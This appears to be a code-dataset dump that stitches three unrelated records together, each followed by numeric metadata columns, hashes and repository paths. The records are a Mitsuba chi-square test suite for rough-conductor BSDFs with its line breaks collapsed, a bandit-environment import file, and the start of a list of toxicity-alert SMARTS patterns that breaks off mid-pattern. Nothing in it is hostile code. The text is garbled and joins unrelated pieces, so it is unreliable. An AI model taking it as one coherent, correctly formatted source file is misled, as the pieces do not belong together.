import enoki as ek from mitsuba.python.chi2 import ChiSquareTest, BSDFAdapter, SphericalDomain def test01_chi2_smooth(variant_packet_rgb): xml = """<float name="alpha" value="0.05"/>""" wi = ek.normalize([1.0, 1.0, 1.0]) sample_func, pdf_func = BSDFAdapter("roughconductor", xml, wi=wi) chi2 = ChiSquareTest( domain=SphericalDomain(), sample_func=sample_func, pdf_func=pdf_func, sample_dim=3, res=201, ires=8 ) assert chi2.run() def test02_chi2_aniso_beckmann_all(variant_packet_rgb): xml = """<float name="alpha_u" value="0.2"/> <float name="alpha_v" value="0.05"/> <string name="distribution" value="beckmann"/> <boolean name="sample_visible" value="false"/>""" wi = ek.normalize([1.0, 1.0, 1.0]) sample_func, pdf_func = BSDFAdapter("roughconductor", xml, wi=wi) chi2 = ChiSquareTest( domain=SphericalDomain(), sample_func=sample_func, pdf_func=pdf_func, sample_dim=3, res=201, ires=8 ) assert chi2.run() def test03_chi2_aniso_beckmann_visible(variant_packet_rgb): xml = """<float name="alpha_u" value="0.2"/> <float name="alpha_v" value="0.05"/> <string name="distribution" value="beckmann"/> <boolean name="sample_visible" value="true"/>""" wi = ek.normalize([1.0, 1.0, 1.0]) sample_func, pdf_func = BSDFAdapter("roughconductor", xml, wi=wi) chi2 = ChiSquareTest( domain=SphericalDomain(), sample_func=sample_func, pdf_func=pdf_func, sample_dim=3, ires=8 ) assert chi2.run() def test04_chi2_aniso_ggx_all(variant_packet_rgb): xml = """<float name="alpha_u" value="0.2"/> <float name="alpha_v" value="0.05"/> <string name="distribution" value="ggx"/> <boolean name="sample_visible" value="false"/>""" wi = ek.normalize([1.0, 1.0, 1.0]) sample_func, pdf_func = BSDFAdapter("roughconductor", xml, wi=wi) chi2 = ChiSquareTest( domain=SphericalDomain(), sample_func=sample_func, pdf_func=pdf_func, sample_dim=3, ires=8 ) assert chi2.run() def test05_chi2_aniso_ggx_visible(variant_packet_rgb): xml = """<float name="alpha_u" value="0.2"/> <float name="alpha_v" value="0.05"/> <string name="distribution" value="ggx"/> <boolean name="sample_visible" value="true"/>""" wi = ek.normalize([1.0, 1.0, 1.0]) sample_func, pdf_func = BSDFAdapter("roughconductor", xml, wi=wi) chi2 = ChiSquareTest( domain=SphericalDomain(), sample_func=sample_func, pdf_func=pdf_func, sample_dim=3, ires=8 ) assert chi2.run()
28.704082
75
0.605048
360
2,813
4.519444
0.158333
0.018439
0.101414
0.024585
0.883221
0.883221
0.883221
0.862938
0.862938
0.862938
0
0.045088
0.250978
2,813
97
76
29
0.7271
0
0
0.828947
0
0
0.324209
0.029861
0
0
0
0
0.065789
1
0.065789
false
0
0.026316
0
0.092105
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
9e91e619555d0591262f9f0abdda9e059a34b1fc
185
py
Python
kArmedBandit/envs/__init__.py
SasankYadati/kArmedBandit
ed9aacad48b2063661f7281b288ae269d2a8120e
[ "MIT" ]
null
null
null
kArmedBandit/envs/__init__.py
SasankYadati/kArmedBandit
ed9aacad48b2063661f7281b288ae269d2a8120e
[ "MIT" ]
null
null
null
kArmedBandit/envs/__init__.py
SasankYadati/kArmedBandit
ed9aacad48b2063661f7281b288ae269d2a8120e
[ "MIT" ]
null
null
null
from kArmedBandit.envs.TenArmedBanditFixedReward_env import TenArmedBanditFixedRewardEnv from kArmedBandit.envs.TenArmedBanditGaussianReward_env import TenArmedBanditGaussianRewardEnv
61.666667
95
0.92973
14
185
12.142857
0.642857
0.188235
0.235294
0
0
0
0
0
0
0
0
0
0.048649
185
2
96
92.5
0.965909
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
1
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
7bcbcb20c2302f72a71b01756e9f479bf85cdd70
98,029
py
Python
tpp/descriptors/rdkit/tox/tox_smarts.py
gfrogat/tpp_python
3fafda066d73d6aa1fd8b38b943fd92d45c4df18
[ "MIT" ]
null
null
null
tpp/descriptors/rdkit/tox/tox_smarts.py
gfrogat/tpp_python
3fafda066d73d6aa1fd8b38b943fd92d45c4df18
[ "MIT" ]
null
null
null
tpp/descriptors/rdkit/tox/tox_smarts.py
gfrogat/tpp_python
3fafda066d73d6aa1fd8b38b943fd92d45c4df18
[ "MIT" ]
null
null
null
# flake8: noqa tox_smarts = [ "[NX4+]([CX4,a])([CX4,a])([CX4,a])[CX4,a]", "[$([#6,#1][#6X3](=[OX1])[#7X3&!$([#7X3]([*]=[OX1,SX1])[#7X3]([*]=[OX1,SX1]))][#7X3]),$(C1(=O)[NX3][NX3]C(=O)cc1)]", "[nR1]1[cR1][cR1][cR1][cR1]1", "[Si]~[!#6]", "[F,Cl,Br,I][CX3]=[CX3]", "[$([a][NX3;H1][CX3;H1](=[OX1])),$([a][NX3;H1][CX3](=[OX1])[CH3])]", "[#5,#14,#32,#33,#51,#52,#84]", "[CX4][Cl,Br,I]", "[#15]~[N,n]", "[CX3](=[OX1])[NX3][CX3](=[OX1])", "NOT [!#1!#6!#7!#8!#16!F!Cl!Br] AND [CX4R][CX3R](=[OX1])[OX2R][CX4R]", "[#6][Sv2H]", "[!#1!#6][Sv6X4](=[OX1])(=[OX1])[!#1!#6]", "[#6X3]1=,:[#6X3][CX3](=[!#1!#6])[#6X3]=,:[#6X3][#6X3]1(=[!#1!#6])", "[$([a][NH1][CX3](=[OX1])),$(c1c([NX2]=[NX2][a])ccc([$([NX3]([CX4])([CX4])),$([NX3H1][CX4]),$([NH2]),$([OH1])])c1)]", "[#16X2H1]", "C1(=C)C(=O)[#7,#8,#15,#16]N=C1", "[$([aR3]),$([$([aR2]([aR])([aR])([aR]))].[$([aR2]([aR])([aR])([aR]))].[$([aR2]([aR])([aR])([aR]))].[$([aR2]([aR])([aR])([aR]))])]", "[#3,#11,#19,#37,#55,#87]", "c[CX4](c)c", "[NX3!H0]([#1,#6])[NX3!H0]([#1,#6])", "[$([#7+][O-]),$([#7v5]=O);!$([#7](~[OD1])~[OD1])]", "c[NX3]([CX4&!$([CX4]([NX3])[O,N,S,P])])[c,CX4&!$([CX4]([NX3]c)[O,S,N,P])]", "a1c([F,Cl,Br,I])c([F,Cl,Br,I])ac([F,Cl,Br,I])a1", "[C]#[N]", "[SX2][SX2]", "[$([cR1]1[cR1][cR1][cR1][cR2]2[nR1][cR1]([F,Cl])[cR1]([$([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CX3](=[OX1])[OX2][#1,#6]),$([Sv6X4](=[OX1])(=[OX1])[OH]),$([CX3](=[OX1])[#1,F,Cl,Br,I]),$([CX2]#[NX1]),$([CX4]([F,Cl])([F,Cl])[F,Cl]),$([CH2][OH]),$([CH2][$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CH2][F,Cl])])[cR1][cR2]12),$([cR1]1[cR1][cR1][cR1][cR2]2[nR1][cR1][cR1]([$([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CX3](=[OX1])[OX2][#1,#6]),$([Sv6X4](=[OX1])(=[OX1])[OH]),$([CX3](=[OX1])[#1,F,Cl,Br,I]),$([CX2]#[NX1]),$([CX4]([F,Cl])([F,Cl])[F,Cl]),$([CH2][OH]),$([CH2][$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CH2][F,Cl])])[cR1]([F,Cl])[cR2]12),$([cR1]1[cR1][cR1][cR1][cR2]2[cR1]([F,Cl])[nR1][cR1][cR1]([$([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CX3](=[OX1])[OX2][#1,#6]),$([Sv6X4](=[OX1])(=[OX1])[OH]),$([CX3](=[OX1])[#1,F,Cl,Br,I]),$([CX2]#[NX1]),$([CX4]([F,Cl])([F,Cl])[F,Cl]),$([CH2][OH]),$([CH2][$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CH2][F,Cl])])[cR2]12),$([cR1]1[cR1][cR1][cR1][cR2]2[cR1][nR1][cR1]([F,Cl])[cR1]([$([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CX3](=[OX1])[OX2][#1,#6]),$([Sv6X4](=[OX1])(=[OX1])[OH]),$([CX3](=[OX1])[#1,F,Cl,Br,I]),$([CX2]#[NX1]),$([CX4]([F,Cl])([F,Cl])[F,Cl]),$([CH2][OH]),$([CH2][$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CH2][F,Cl])])[cR2]12),$([nR1]1[cR1]([F,Cl])[cR1]([$([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CX3](=[OX1])[OX2][#1,#6]),$([Sv6X4](=[OX1])(=[OX1])[OH]),$([CX3](=[OX1])[#1,F,Cl,Br,I]),$([CX2]#[NX1]),$([CX4]([F,Cl])([F,Cl])[F,Cl]),$([CH2][OH]),$([CH2][$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CH2][F,Cl])])[cR1][cR1][cR1]1),$([nR1]1[cR1][cR1]([$([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CX3](=[OX1])[OX2][#1,#6]),$([Sv6X4](=[OX1])(=[OX1])[OH]),$([CX3](=[OX1])[#1,F,Cl,Br,I]),$([CX2]#[NX1]),$([CX4]([F,Cl])([F,Cl])[F,Cl]),$([CH2][OH]),$([CH2][$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CH2][F,Cl])])[cR1]([F,Cl])[cR1][cR1]1),$([nR1]1[cR1]([F,Cl])[cR1][cR1][cR1]([$([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CX3](=[OX1])[OX2][#1,#6]),$([Sv6X4](=[OX1])(=[OX1])[OH]),$([CX3](=[OX1])[#1,F,Cl,Br,I]),$([CX2]#[NX1]),$([CX4]([F,Cl])([F,Cl])[F,Cl]),$([CH2][OH]),$([CH2][$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CH2][F,Cl])])[cR1]1),$([nR1]1[cR1][cR1][cR1]([F,Cl])[cR1]([$([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CX3](=[OX1])[OX2][#1,#6]),$([Sv6X4](=[OX1])(=[OX1])[OH]),$([CX3](=[OX1])[#1,F,Cl,Br,I]),$([CX2]#[NX1]),$([CX4]([F,Cl])([F,Cl])[F,Cl]),$([CH2][OH]),$([CH2][$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CH2][F,Cl])])[cR1]1)]", "[#1,#6][CX3](=[OX1])[OX1-]", "[$([a][NX3;H2]),$([a][NX3;H1][CH3]),$([a][NX3;H1][CH2][CH3])]", "[!#1;!#6;!#7;!#8;!#9;!#11;!#12;!#15;!#16;!#17;!#19;!#20;!#35;!#53]", "[CX4]Cl AND NOT [$([CX4](Cl)[CX3]=[CX3]),$([CX4](Cl)[CX2]#[CX2]),$([CX4](Cl)a)]", "C1C(=O)NC1", "N1C(=[OX1,SX1])NC(=[OX1,SX1])C(=C)C1(=[OX1,SX1])", "[#6][CX3](=[SX1])[#7]", "[#6&!$([CX4]([OX2])([#7,O,S,F,Cl,Br,I,P]))&!$([CX3]([OX2])=[OX1,SX1,NX2,C])][OX2][#6&!$([CX4]([OX2])([#7,O,S,F,Cl,Br,I,P]))&!$([CX3]([OX2])=[OX1,SX1,NX2,C])]", "c[OX2&!$([OX2r3])]c", "[CX4&!$([CX4]([F,Cl,Br,I])([F,Cl,Br,I])([F,Cl,Br,I]))]([#1,#6&!$([CX3]=[OX1,SX1,NX2])])([!#1!#6])([!#1!#6])[!#1!#6]", "[$([cX3R3]),$([cX3;R1,R2,R3]1[cX3;R1,R2,R3][cX3;R1,R2,R3][cX3;R1,R2,R3][cX3;R2,R3]2[cX3;R2,R3]1[cX3;R1,R2,R3][cX3;R2,R3]3[cX3;R2,R3]([cX3;R1,R2,R3]2)[cX3;R1,R2,R3][cX3;R1,R2,R3][cX3;R1,R2,R3][cX3;R1,R2,R3]3)].[!$([n,o,s])]", "[OX1]=[Pv5X4]([OH1])([O])[O]", "[!#6!#1;R1]1[CR1][CR1][CR1][CR1]1", "[CX4&!$([CX4]([OX2])([#7,O,S,F,Cl,Br,I,P]))][OX2]c", "[$(c(=N)[$(n[#1,#6]),o,s]),$(c(=N)a[$(n[#1,#6]),o,s]),$(c(=N)aa[$(n[#1,#6]),o,s]),$(c(=N)aaa[$(n[#1,#6]),o,s])]", "[$([cX3R3]),$([cX3;R1,R2,R3]1[cX3;R1,R2,R3][cX3;R1,R2,R3][cX3;R1,R2,R3][cX3;R2,R3]2[cX3;R2,R3]1[cX3;R1,R2,R3][cX3;R2,R3]3[cX3;R2,R3]([cX3;R1,R2,R3]2)[cX3;R1,R2,R3][cX3;R1,R2,R3][cX3;R1,R2,R3][cX3;R1,R2,R3]3)].[!$([n,o,s])]", "P(=O)-[O;!R]-a", "[N&!$([NH1]([CX3]=[OX1,SX1,NX2])[OH1])&!$(N([OH1])([CX3]=[OX1,SX1,NX2])([CX3]=[OX1,SX1,NX2]))]([#1,#6])([#1,#6])[OH1]", "[CH2,CH3]C#C[CH2,CH3]", "c1([OH])c(O[CH3])cccc1", "[OH1]aaaa[OH1]", "[$(*-[NX2-]-[NX2+]#[NX1]),$(*-[NX2]=[NX2+]=[NX1-]),$(*-[NX2]=[NX2+]=N)]", "[a!#6;R1]1[a!#6;R1][a!#6;R1][a!#6;R1][cR1]1", "[$([!#6!#1]1=[!#6!#1][!#6!#1]-,=CC1),$([!#6!#1]1[!#6!#1][!#6!#1]CC=1),$([!#6!#1]1[!#6!#1][!#6!#1]C=C1),$([!#6!#1]1=[!#6!#1]C[!#6!#1]-,=C1),$([!#6!#1]1[!#6!#1]C[!#6!#1]C=1),$([!#6!#1]1[!#6!#1]C[!#6!#1]=C1)]", "N[CX3](=[NX2][#1,#6])N", "a[CX4]F", "[CX3](=[OX1])[C!H0]C[OH1]", "[CX4]F AND NOT [$([CX4](F)[CX3]=[CX3]),$([CX4](F)[CX2]#[CX2]),$([CX4](F)a)]", "[#6]1[#6](=[N,O,S])[#7,#8,#16][#6][#7,#8,#16]1", "[CX4][Br,Cl,I]", "c([OH1])[aR1]c([OH1])", "[CX3!H0]=[OX1]", "[$([!R&N]=[!R&N])]", "[$([F,Cl,Br,I]C[OX2]C),$([F,Cl,Br,I]CC[OX2]C)]", "[!#6!#1;R1]1~[#6R1]~[#6R1]~[#6R1]~[#6R1]~1", "*[#16X2][#16X2]*", "[CX3]=[CX3][CX3](=[OX1])[OX2H1]", "[a!#6]1cccc1", "[$([OR1]1[OR1][CR1][CR1][CR1][CR1]1),$([OR1]1[CR1][OR1][CR1][CR1][CR1]1),$([OR1]1[CR1][CR1][OR1][CR1][CR1]1)]", "[CX3]([CX4,#1])([F,Cl,Br,I])=[CX3]([CX4,#1])[!F!Cl!Br!I]", "[!#1;!#6;!#7;!#8;!#9;!#11;!#12;!#15;!#16;!#17;!#19;!#20;!#35;!#53]", "[NX3]1[CX4][CX4][CX3]1(=[OX1])", "[CX4]1([CX4])[OX2][CX4]1([CX4])", "[#6][OX2][CX3](=[OX1])[NH2,NH1,NX3]", "[CX3H1](=[OX1])[#1,#6]", "[#7v4X3R]", "[n;R1]1[c;!$(c=O)]([F,Cl,Br,I])c([$(S(=O)(=O)),$(C(F)(F)(F)),$(C#N),$(N(=O)(=O)),$([N+](=O)[O-]),$(C=O)])[c;!$(c-N)]c[c;!$(c-N)]1", "[$([OX1-][#7+]1=,:[#6,#7]-,:[#6,#7]=,:[#6,#7]-,:[#6,#7,#8,#16]1),$([OX1]=[#7v5]1=,:[#6,#7]-,:[#6,#7]=,:[#6,#7]-,:[#6,#7,#8,#16]1)]", "[CH3][CH2][CH2][CH2][CH2][CH2][CH2,CH3]", "c1cccc2c1oc(=[OX1])[c!H0]c2", "[CH2]1[O,S]C1", "[CX3]([#1,#6])([#1,#6])=[CX3]([#1,#6])[NX3&!$([NX3](=[OX1])=[OX1])&!$([NX3+](=[OX1])[O-])]([#1,*])[#1,*]", "NOT [!#1!#6!#7!#8!#16!F!Cl!Br] AND [#7X3;0][CH2][CH2][F,Cl,Br]", "[#1,#6][NX2]=[CX3]([#1,#6])[NX3]([#1,#6&!$([CX3]=[OX1,SX1,NX2])])[#1,#6&!$([CX3]=[OX1,SX1,N])]", "[CX4]c1ccc(cc1)[Sv6X4](=[OX1])(=[OX1])[NX3H2]", "[*].[*][$([a&R]([OX2H])[a&R]([OX2H])),$([a&R]([OX2H])a[a&R]([OX2H])),$([a&R]([OX2H])aa[a&R]([OX2H]))]", "[#6]=[#6][$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]", "[oR1]1[nR1][cR1][nR1][cR1]1", "[$([#1,#6][CX3]([H])=[OX1]),$([#7]([#1,#6])([#1,#6])[CX3H1]=[OX1])]", "[#6][CX3](=[OX1])[CX4][Cl,Br,I]", "[#6&!$([CX3]=[OX1,SX1,N,C])&!$(C#N)][Sv2H1]", "[F,Cl,Br,I][CX4][CX3]=[CX3]", "[F,Cl,Br,I][CH2][CX4,a]", "[$([NX3,NX4+][CX4H]([*])[CX3](=[OX1])[O,N]),$([$([$([NX3H2,NX4H3+]),$([NX3H](C)(C))][CX4H2][CX3](=[OX1])[OX2H,OX1-,N])])]", "c1c([OH,NH2,NH])c([OH,NH2,NH,$(N=N),$(N(C)C)])ccc1", "[!$(C=C);!$(C#C)]C(=[O,SX1,N])[O,S,N][CX4,O,S][$(C=O),a,$(C=C),$(C#C),$(C=N),$(C#N)]", "[CX4]N([CX4])c1ccc([CX4][$([OH]),$(C=[C!H0]),$(N[CX4])])cc1", "[#7&!$([#7]=[#7])&!$([#7][#7H2])&!$([#7][#7H1][#6])&!$([#7][#7]([#1,#6])[#1,#6])&!$([#7][#7]=[#6])][CX3](=[OX1])[#7&!$([#7]=[#7])&!$([#7][#7H2])&!$([#7][#7H1][#6])&!$([#7][#7]([#1,#6])[#1,#6])&!$([#7][#7]=[#6])]", "C=C(C#N)(C#N)", "[!#8!#7!#16][CX3]([!#8!#7!#16])=[CX3]([!#8!#7!#16])[!#8!#7!#16] AND NOT [$([CX3]=[CX2]=[CX3]),$([CX3]=[CX3][CX3]=[CX3]),$([CX3]=[CX3][CX4][CX3]=[CX3])]", "c([OH1])c([OH1])", "C(=O)([CH,CH2][Cl,Br,I,$(O(S(=O)(=O)))])", "[$([CX3](=[OX1])[CH2][Cl,Br,I]),$([CX4!H0]([OH1])[CH2][Cl,Br,I])]", "NOT [$([C][C;!R]([C])[C])] AND NOT [R] AND [#6][F,Cl,Br,I]", "a[CX4][F,Cl,Br,I]", "[Sv2X2H1]", "[a][NX3;H1][CH3]", "NOT [!#1!#6!#7!#8!#16!F!Cl!Br] AND [#6][SX2][SX2][#6]", "[C,N]1~[C,N]~N~1", "[$([#6!H0][#7]([CH2,CH3])c1[cH]c([H,CH2,CH3])c([CH,CH2][C!H0])[cH][cH]1),$([#6!H0][#7]([CH2,CH3])c1[cH]c([H,CH2,CH3])c([CH3])[cH][cH]1)]", "[$([NR1]1=[CR1][CR1][CR1][CR1][CR1]1),$([NR1]1[CR1]=[CR1][CR1][CR1][CR1]1),$([NR1]1[CR1][CR1]=[CR1][CR1][CR1]1)]", "[!#1!#2!#5!#6!#7!#8!#9!#10!#14!#15!#16!#17!#18!#32!#33!#34!#35!#36!#51!#52!#53!#54!#84!#85!#86]", "[!#6!#1;R1]1~[*R1]~[*R1]~[*R1]~1", "[$(n1c([F,Cl,$([CX2]#[NX1])])nccc1),$(n1cnccc1([F,Cl,$([CX2]#[NX1])])),$(n1cncnc1([F,Cl,$([CX2]#[NX1])]))]", "c12ccccc1cccc2.c12ccccc1cccc2[#6,#1][NX3H1][NX3H1][#6,#1]", "[a][$([NX3H1][CH3]),$([NX3H1][CH2][CH3]),$([NX3]([CH3])[CH3]),$([NX3]([CH3])[CH2][CH3]),$([NX3]([CH2][CH3])[CH2][CH3]);!$([NX3]a(a-[!#1])a-[!#1]);!$([NX3]aa-C(=[OX1])[OH])]", "[CD1][CD2][CD2][CD2][CD2][CX4]", "[#6,#1][CX3]([H])=[OX1]", "c1ccccc1[$([Br,Cl,F,I]);!$([Br,Cl,F,I]aa[Br,Cl,F,I]);!$([Br,Cl,F,I]aaa[Br,Cl,F,I]);!$([Br,Cl,F,I]aa([OH])a([OH])a[OH]);!$([Br,Cl,F,I]aaa([OH])a([OH])a[OH]);!$([Br,Cl,F,I]aa([OH])a([OH])aa[OH])]", "[CH2][NX3]([CH3])[CH3]", "[$([NX3H2][NX3]([#1,#6;!$([CX3](=[OX1])[#1,#6])])[#1,#6;!$([CX3](=[OX1])[#1,#6])]),$([NX4H2+]([#1,#6;!$([CX3](=[OX1])[#1,#6])])[NX3]([#1,#6;!$([CX3](=[OX1])[#1,#6])])[#1,#6;!$([CX3](=[OX1])[#1,#6])]),$([NX4H3+][NX4H2+][#1,#6;!$([CX3](=[OX1])[#1,#6])]),$([NX3!R]([#1,#6!R;!$([CX3](=[OX1])[#1,#6])])([#1,#6!R;!$([CX3](=[OX1])[#1,#6])])[NX2!R]=[CX3!R]([*!R])([*!R])),$([NX3!R]([#1,#6!R;!$([CX3](=[OX1])[#1,#6])])([#1,#6!R;!$([CX3](=[OX1])[#1,#6])])[NX3+!R]=[CX3!R]([*!R])([*!R]))]", "[#8,#16,#34,#52,#84,#116]", "[oR1]1[cR1][nR1][cR1][cR1]1", "[!#6!#1]1~[#6]~[#6]~[#6]~[#6]~[#6]~1", "[!#6!#1]1~[#6]~[#6]~[#6]~1", "[C,N,O,S,a]c1[n,o,s]c2ccccc2[n,o,s]1", "[C,O]=[#6]1[#7,#8,#16][#6](=[O,N,SX1])c2ccccc12", "[!#6!#1;R1]1[CR1][CR1][CR1][CR1][CR1]1", "[$([NX3][CH2][NX3]),$([NX3][CH2][OX2]),$([CX4]([F,Cl,Br,I])([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])])[CH2][OH1])]", "[!#6!#1;R1]1~[!#6!#1;R1]~[!#6!#1;R1]~[!#6!#1;R1]~[#6R1]~1", "[CX3](=[OX1])[CX4]([F,Cl,Br,I])([F,Cl,Br,I])[F,Cl,Br,I]", "[nR1]1[nR1][nR1][cR1][cR1]1", "[$([oR1]1[nR1][nR1][cR1][cR1]1),$([oR1]1[nR1][cR1][nR1][cR1]1),$([oR1]1[nR1][cR1][cR1][nR1]1),$([oR1]1[cR1][nR1][nR1][cR1]1)]", "[$([CH2]),$([CH][#6])]=[CH,$(C[#6])]C(=O)O[#6]", "[#6&!$([CX4]([OH1])[#8,#16,#7,#15])&!$([CX3]([OH1])=[OX1,SX1,NH2,C])][OH1]", "[NX3]([#1,#6])([#1,#6])[CH2][CH2][Cl,Br,I,F]", "[#6]1~[#6][#7,#8,#16]1", "[OH1,O-][Sv6X4](=[OX1])(=[OX1])[OX2,O-]", "[!#6!#1;R1]1-[#6&R1]-[#6&R1]-1", "[C][C](=O)[C]", "[$([NX3][CX3](=[OX1])[NX3&!$([NX3]([CX3]=[OX1,SX1])[NX3][CX3]=[OX1,SX1])][NX3])&!$([NX3][CX3](=[OX1])[NX3]N=C)]", "[$([!#6!#1]1~[!#6!#1]~[#6]~[#6]~[#6]~1),$([!#6!#1]1~[#6]~[!#6!#1]~[#6]~[#6]~1)]", "c1([OH1])aac([OH1])aa1", "[-,--,-3,-4,-5,-6,-7] AND NOT [$([NX2]=[NX2+]=[NX1-]),$([NX2]=[NX2+]=N),$([NX2-]-[NX2+]#[NX1]),$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-]),$([NX2+]#[CX1-]),$([NX2]#[CX1]),$([OX1-,OH1][#7X4+]([*])([*])([*])),$([OX1]=[#7X4v5]([*])([*])([*])),$([OX1-,OH1][#7X3+R](~[R])(~[R])),$([OX1]=[#7v5X3R](~[R])(~[R])),$([*-]~[*+])]", "[#1,#6][CX3](=[NX2][#1,#6])[OX2][#6&!$([CX3]=[OX1,SX1,NX2,C])]", "[NR1]1[CR1][CR1][CR1][CR1][CR1]1", "c1c(ccc(c1)[#6]=[#6])[#7]([CX4])[CX4]", "[#6&!$(C#N)][CX3](=[OX1])[#6&!$(C#N)]", "[a][$([NX3H2]),$([NX3H1][#6])]", "[a!c]1ccccc1", "[n;R1]1[c;!$(c=O)]([F,Cl,Br,I])c[c;!$(c-N)]c([$(S(=O)(=O)),$(C(F)(F)(F)),$(C#N),$(N(=O)(=O)),$([N+](=O)[O-]),$(C=O)])[c;!$(c=O);!$(c-N)]1", "[$([a!c;R1]1[a!c;R1][a!c;R1][cR1][cR1][cR1]1),$([a!c;R1]1[a!c;R1][cR1][a!c;R1][cR1][cR1]1),$([a!c;R1]1[cR1][a!c;R1][cR1][a!c;R1][cR1]1)]", "[#6][$([NX2]=O),$(N=C=O),$(OC#N),$(SC#N),$(N=C=S)]", "[NX3H2][#7,#8]", "[$(C=C),$(C#C),a][CH2,CH][O,S][a]", "Cl[CX3]=[CX3]", "[NR0,SR0]=[NR0]", "[OX1]=[Pv5X4]([#6])([OH1])O", "[$([#6]1(=[OX1])-,:[#6]=,:[#6]-,:[#6](=[OX1])-,:[#6]=,:[#6]1),$([#6]1(=[OX1])-,:[#6](=[OX1])-,:[#6]=,:[#6]-,:[#6]=,:[#6]1)]", "[!#6!#1]1~*~*~*~*~1", "[CX3](=[OX1])[CX4]([#1,Cl,Br,I])([#1,Cl,Br,I])[Cl,Br,I]", "[#7R1]1-[#6R1]-[#6R1]-[#6R1]-1", "[$(n1c([CX3]=[CX3])cccc1),$(n1cc([CX3]=[CX3])ccc1),$(n1ccc([CX3]=[CX3])cc1)]", "N1(c2[!#1]cccc2)C([CX4])=C[C!H0]=C1[CX4]", "[SX2!H0][#1,#6&!$([CX3]([SH1])=[OX1,SX1,NX2])]", "C=CC#[NX1]", "[CX4]1[OX2][CX4]1", "NOT [!#6!#1!#7!#8!#9!#17!#35!#53!#15!#14!#16]", "[CH2,CH]=[CH]C=C[$(N(=[OX1])=[OX1]),$(C=O),$(C#N),$(S=O),$(C(=O)N),$(a)]", "[$([Cl,Br,I][CH2][CX3]=[CX3]),$([Cl,Br,I][CH2][CX2]#[CX2]),$([Cl,Br,I][CH2][a]),$([Cl,Br,I][CH2][CX3](=[OX1])[#6]),$([Cl,Br,I][CH2][CX3](=[OX1])[OX2]),$([Cl,Br,I][CH2][CX3](=[OX1])[NX3]),$([Cl,Br,I][CH2][CH2][NX3]),$([Cl,Br,I][CH2][CH2][OX2])]", "c1(ccc(cc1)C=N[#7])[OH1]", "[#6][CH]=O", "[#1,#6][CX3]([#1,#6])=[NX2][OH1]", "[Cl,Br,I][CH2][CH2][SX2,NX3]", "[CH2,$([CH1][#6]),$([CX4]([#6])[#6])]([OX2][#1,#6&!$([CX3]=[OX1,SX1,NX2])])[NX3]([#1,*])[#1,*]", "a[CX4]Cl", "[N;!R][C;!R](=O)[!#7] OR [N;!R][C;!R](=O)[N;!R]", "NOT [!CX4!#1!F!Cl!Br!I] AND [CX4!R0][F,Cl,Br,I]", "[$(c1([OH])c([OX2][$([CH3]),$([CH2][CH3])])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c([#1])c([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1)]);!$([CX2]#[NX1])])c1([#1,#6,OH,$([OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][C